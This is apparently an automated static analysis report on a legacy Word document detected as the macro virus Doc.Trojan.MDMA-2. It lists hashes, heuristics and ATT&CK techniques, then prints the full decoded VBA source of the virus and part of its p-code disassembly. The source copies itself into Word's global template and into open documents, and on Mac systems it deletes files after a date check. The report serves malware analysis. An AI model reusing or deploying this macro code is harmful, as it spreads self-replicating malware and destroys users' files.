Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b88e599265f69c79…

MALICIOUS

Office (OLE)

35.0 KB Created: 1999-11-05 15:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 151eefadf2ff9df1a39141bb79fe64b5 SHA-1: 45ed66bf409eb2a00f5c25433287b780180b4776 SHA-256: b88e599265f69c790dde714c994cb5ed15a876eee67126887f25abdffec3be7c
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is identified as malicious by ClamAV and contains VBA macros, specifically an AutoClose macro. This macro attempts to install itself globally and potentially infect other documents, suggesting a downloader or worm-like behavior. The presence of legacy WordBasic auto-exec markers further supports the malicious nature of the document.

Heuristics 4

  • ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MDMA-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6283 bytes
SHA-256: f698398127d611021c775f09dab91430f3eb23b38572e1deea2dd66f3d720b4b
Detection
ClamAV: Doc.Trojan.MDMA-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
    install
    infect
End Sub

Private Sub install()

Dim installed
Dim i
    total = WordBasic.CountMacros(0)
    installed = 0
    If total > 0 Then
        For i = 1 To total
            If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
                installed = 1
            End If
        Next
    End If
    If installed = 0 Then
        
               WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose"
    Else
        total = WordBasic.CountMacros(1)
        installed = 0
        If total > 0 Then
            For i = 1 To total
                If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
                    installed = 1
                End If
            Next
        End If
        If installed = 0 Then
            WordBasic.FileSaveAs Format:=1
            WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose"
        End If
    End If
End Sub

Private Sub infect()
Dim count_
Dim i
    If (WordBasic.[GetSystemInfo$](21) = "Windows" Or WordBasic.[GetSystemInfo$](21) = "Windows NT") Then
        Open "c:\shmk." For Append As 1
        If LOF(1) <> 4 And WordBasic.Day(WordBasic.Now()) > 20 Then
            
        End If
        Close 1
    End If

    If Mid(WordBasic.[AppInfo$](21), 1, 3) = "Mac" And WordBasic.Day(WordBasic.Now()) > 4 Then
        WordBasic.ChDir "HD:"
        count_ = WordBasic.CountDirectories()
        For i = 1 To count_
            WordBasic.ChDir "HD" + WordBasic.[GetDirectory$](1)
            WordBasic.Kill WordBasic.[MacID$]("****")
            WordBasic.ChDir "HD:"
        Next
    End If
End Sub

' Processing file: /opt/analyzer/scan_staging/4020b21911a6466c8334e1bba088c97a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 3309 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	ArgsCall install 0x0000 
' Line #3:
' 	ArgsCall infect 0x0000 
' Line #4:
' 	EndSub 
' Line #5:
' Line #6:
' 	FuncDefn (Private Sub install())
' Line #7:
' Line #8:
' 	Dim 
' 	VarDefn installed
' Line #9:
' 	Dim 
' 	VarDefn i
' Line #10:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #11:
' 	LitDI2 0x0000 
' 	St installed 
' Line #12:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #14:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitDI2 0x0001 
' 	St installed 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	StartForVariable 
' 	Next 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld installed 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #20:
' Line #21:
' 	Ld WordBasic 
' 	ArgsMemLd [WindowName$] 0x0000 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	ElseBlock 
' Line #23:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #24:
' 	LitDI2 0x0000 
' 	St installed 
' Line #25:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #26:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #27:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #28:
' 	LitDI2 0x0001 
' 	St installed 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	StartForVariable 
' 	Next 
' Line #31:
' 	EndIfBlock 
' Line #32:
' 	Ld installed 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #33:
' 	Li
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.